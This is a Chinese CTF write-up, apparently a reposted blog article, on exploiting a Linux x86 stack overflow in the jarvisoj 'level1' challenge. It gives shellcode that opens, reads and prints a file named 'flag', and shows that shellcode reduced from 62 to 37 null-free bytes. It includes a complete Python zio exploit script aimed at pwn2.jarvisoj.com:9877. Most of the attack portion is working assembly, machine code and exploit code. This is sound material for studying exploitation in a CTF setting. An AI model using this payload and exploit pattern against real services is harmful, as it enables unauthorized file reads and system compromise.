神刀安全网

[Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)



简介 :

漏洞程序 : https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5 利用方式 : 栈溢出 (执行 shellcode) 远程主机 : pwn2.jarvisoj.com 端    口 : 9877 备    注 : 所有的程序以及利用代码都已经分享到了 https://coding.net/u/yihangwang/p/pwnme/git 中            有需要的小伙伴可以自行下载

分析 :

之前做过这道题(http://www.jianshu.com/p/d267577c7af1) NX保护没有开启 , 而且也打印出了 buffer 的地址 因此可以注入shellcode , 之前的做法是注入 execve("/bin/sh") 的shellcode直接获取shell 今天家伟在做这道题 , 突然想到了一个新的思路 (不过这个思路并不是很通用...只是随便试试) 具体的思路是 :  并不调用 execve() 这个系统调用 而是假定 flag 就藏在可执行程序的同级目录下 , 文件名就叫 flag (嗯 , 一定是这样) 这样我们就可以来写 shellcode 直接读取这个文件并打印出来 这样有一个好处就是 , 并不会使用到 execve 这种非常敏感的系统调用 只使用 open , read , write 来实现 , 让目标主机的感觉更无害

shellcode :

global _start     _start:         ; int open(const char *pathname, int flags);         mov edx, 0         mov ecx, 0 ; #DEFINE O_RDONLY 0         ; 具体的宏定义可以这里查询 :          ; http://lxr.free-electrons.com/source/include/asm-generic/fcntl.h?v=2.6.35#L8          ; 也可以自己写个 C 程序打印出来看         push ecx         push "flag" ; nasm汇编器有一个好处就是可以直接 push 四字节的字符串 , 而不用转成 16 进制         mov ebx, esp         mov eax, 05H         int 80H         ; ssize_t read(int fd, void *buf, size_t count);         mov edx, 0FFH ; 读 0xFF 个字节到栈上         mov ecx, esp         mov ebx, eax ; get fd         mov eax, 03H         int 80H         ; ssize_t write(int fd, const void *buf, size_t count);         mov edx, 0FFH ; 打印栈上的 0xFF 个字节         mov ecx,esp         mov ebx,1         mov eax, 04H         int 80H         ; exit         mov eax,01H         int 80H

机器码 :

sun@sun:~/pwnme/shellcode/15$ objdump -d shellcode  shellcode:     file format elf32-i386   Disassembly of section .text:  08048060 <_start>:  8048060:    ba 00 00 00 00           mov    $0x0,%edx  8048065:    b9 00 00 00 00           mov    $0x0,%ecx  804806a:    51                       push   %ecx  804806b:    68 66 6c 61 67           push   $0x67616c66  8048070:    89 e3                    mov    %esp,%ebx  8048072:    b8 05 00 00 00           mov    $0x5,%eax  8048077:    cd 80                    int    $0x80  8048079:    ba ff 00 00 00           mov    $0xff,%edx  804807e:    89 e1                    mov    %esp,%ecx  8048080:    89 c3                    mov    %eax,%ebx  8048082:    b8 03 00 00 00           mov    $0x3,%eax  8048087:    cd 80                    int    $0x80  8048089:    ba ff 00 00 00           mov    $0xff,%edx  804808e:    89 e1                    mov    %esp,%ecx  8048090:    bb 01 00 00 00           mov    $0x1,%ebx  8048095:    b8 04 00 00 00           mov    $0x4,%eax  804809a:    cd 80                    int    $0x80  804809c:    b8 01 00 00 00           mov    $0x1,%eax  80480a1:    cd 80                    int    $0x80

shellcode :

shellcode = "/xba/x00/x00/x00/x00/xb9/x00/x00"             "/x00/x00/x51/x68/x66/x6c/x61/x67"             "/x89/xe3/xb8/x05/x00/x00/x00/xcd"             "/x80/xba/xff/x00/x00/x00/x89/xe1"             "/x89/xc3/xb8/x03/x00/x00/x00/xcd"             "/x80/xba/xff/x00/x00/x00/x89/xe1"             "/xbb/x01/x00/x00/x00/xb8/x04/x00"             "/x00/x00/xcd/x80/xb8/x01/x00/x00"             "/x00/xcd/x80"

执行结果 :

[Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)

Paste_Image.png

[Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)

Paste_Image.png

优化shellcode :

可以看到上面用到的shellcode还是很长的(62 Bytes) , 因此我们本着高标准严要求的准则 对 shellcode 进行精简 1. 0 字节优化 2. 寄存器复用 3. 精简某些指令 (更多的优化技巧请参考 : Shellcode奇技淫巧汇总[持续更新] http://www.jianshu.com/p/a706ddc1d6bb)
[Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)

Paste_Image.png

[Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)

Paste_Image.png

[Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)

Paste_Image.png

优化后的汇编程序和shellcode

shellcode.asm

global _start     _start:         ; int open(const char *pathname, int flags);         xor ecx, ecx ; #DEFINE O_RDONLY 0         ; 具体的宏定义可以这里查询 :          ; http://lxr.free-electrons.com/source/include/asm-generic/fcntl.h?v=2.6.35#L8          ; 也可以自己写个 C 程序打印出来看         push ecx         push "flag" ; nasm汇编器有一个好处就是可以直接 push 四字节的字符串 , 而不用转成 16 进制         mov ebx, esp         xor eax, eax         cdq         mov al, 05H         int 80H         ; ssize_t read(int fd, void *buf, size_t count);         mov dl, 0FFH ; 读 0xFF 个字节到栈上         mov ecx, esp         mov ebx, eax ; get fd         mov al, 03H         int 80H         ; ssize_t write(int fd, const void *buf, size_t count);         mov dl, 0FFH ; 打印栈上的 0xFF 个字节         xor ebx, ebx         mov bl,1         mov al, 04H         int 80H
[Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)

Paste_Image.png

[Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)

Paste_Image.png

可以看到经过优化后的 shellcode 只有 37 字节 , 而且没有 0 字节 整整减少了 25 字节 , 而且功能并没有变化

现在我们的 exploit.py 脚本 :

#!/usr/bin/env python # encoding:utf-8  import zio  distance = 0x88 + 4 # shellcode = "/xba/x00/x00/x00/x00/xb9/x00/x00/x00/x00/x51/x68/x66/x6c/x61/x67/x89/xe3/xb8/x05/x00/x00/x00/xcd/x80/xba/xff/x00/x00/x00/x89/xe1/x89/xc3/xb8/x03/x00/x00/x00/xcd/x80/xba/xff/x00/x00/x00/x89/xe1/xbb/x01/x00/x00/x00/xb8/x04/x00/x00/x00/xcd/x80/xb8/x01/x00/x00/x00/xcd/x80" shellcode = "/x31/xc9/x51/x68/x66/x6c/x61/x67/x89/xe3/x31/xc0/x99/xb0/x05/xcd/x80/xb2/xff/x89/xe1/x89/xc3/xb0/x03/xcd/x80/xb2/xff/x31/xdb/xb3/x01/xb0/x04/xcd/x80" junk = "A" * (distance - len(shellcode))  # Io = zio.zio("./level1") Io = zio.zio(("pwn2.jarvisoj.com", 9877)) line = Io.readline() # 接受到的数据为 : What's this:0xffe36e40? address = zio.l32(int(line[len("What's this:"):-2], 16)) # 程序运行之后才可以得到 payload = shellcode + junk + address Io.write(payload) Io.interact()
[Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)

Paste_Image.png

总结 :

在CTF比赛中 , 如果一道 pwn 可以栈溢出执行 shellcode 而且也可以假定 flag 就在当前目录下 , 那么就可以使用这个shellcode 进行读取 如果并不在当前目录 , 那么就对 shellcode.asm 进行一些简单地调整 就可以读取任意文件

推荐 :

关于如何编写长度很短的shellcode , 推荐一个中文视频 :  https://www.youtube.com/edit?o=U&video_id=VwTUIZiJ5m4

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » [Linux_x86栈溢出攻击] 如何优化shellcode(读取任意文件)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址